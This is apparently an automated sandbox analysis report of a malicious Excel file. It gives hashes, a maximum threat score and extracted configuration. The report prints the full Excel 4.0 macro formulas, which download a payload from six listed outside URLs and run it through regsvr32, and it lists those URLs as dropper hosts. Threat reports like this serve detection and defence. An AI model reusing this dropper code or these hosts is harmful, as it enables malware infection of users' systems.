General

  • Target

    3050d9fa646264fbedeaf557e292ceddb1a443c754df523dbacf60e6aa0b6edc

  • Size

    46KB

  • Sample

    241119-xsv12avqcn

  • MD5

    36a2a1cda019ceead472ffac10a16f17

  • SHA1

    e9aef72937a4eddd0ab8a7e1b4dfbab3255b8ab8

  • SHA256

    3050d9fa646264fbedeaf557e292ceddb1a443c754df523dbacf60e6aa0b6edc

  • SHA512

    bcc083d280005b519f0852a2133c407f4e114e44807f818d9e78b9de2f5dcd33ba1ecb668f588e9afa84f0ed9fffe1068414015e0e4ac9af99bb14574c6590e3

  • SSDEEP

    768:AwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:xWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://congresoapp2021.com/u07di/wkdehSgS/

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

http://tournhatrang.asia/cgi-bin/2gnqrN/

https://novinex.net/wp-admin/7WlWVE5fQKnZ1/

http://support.techopesolutions.com/gq2z3/31ecS/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://congresoapp2021.com/u07di/wkdehSgS/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tournhatrang.asia/cgi-bin/2gnqrN/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://novinex.net/wp-admin/7WlWVE5fQKnZ1/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/31ecS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://congresoapp2021.com/u07di/wkdehSgS/

xlm40.dropper

http://forocavialpa.com/wp-admin/bnFI6WhjZkffrb/

xlm40.dropper

http://s1.techopesolutions.com/semicanal/g7jRfFqphhUQ5oh/

xlm40.dropper

http://tournhatrang.asia/cgi-bin/2gnqrN/

Targets

    • Target

      3050d9fa646264fbedeaf557e292ceddb1a443c754df523dbacf60e6aa0b6edc

    • Size

      46KB

    • MD5

      36a2a1cda019ceead472ffac10a16f17

    • SHA1

      e9aef72937a4eddd0ab8a7e1b4dfbab3255b8ab8

    • SHA256

      3050d9fa646264fbedeaf557e292ceddb1a443c754df523dbacf60e6aa0b6edc

    • SHA512

      bcc083d280005b519f0852a2133c407f4e114e44807f818d9e78b9de2f5dcd33ba1ecb668f588e9afa84f0ed9fffe1068414015e0e4ac9af99bb14574c6590e3

    • SSDEEP

      768:AwLvfWDOevZCwrvtrDPzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfskoM:xWDzftT5fTR4Lh1NisFYBc3cr+UqVfD9

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks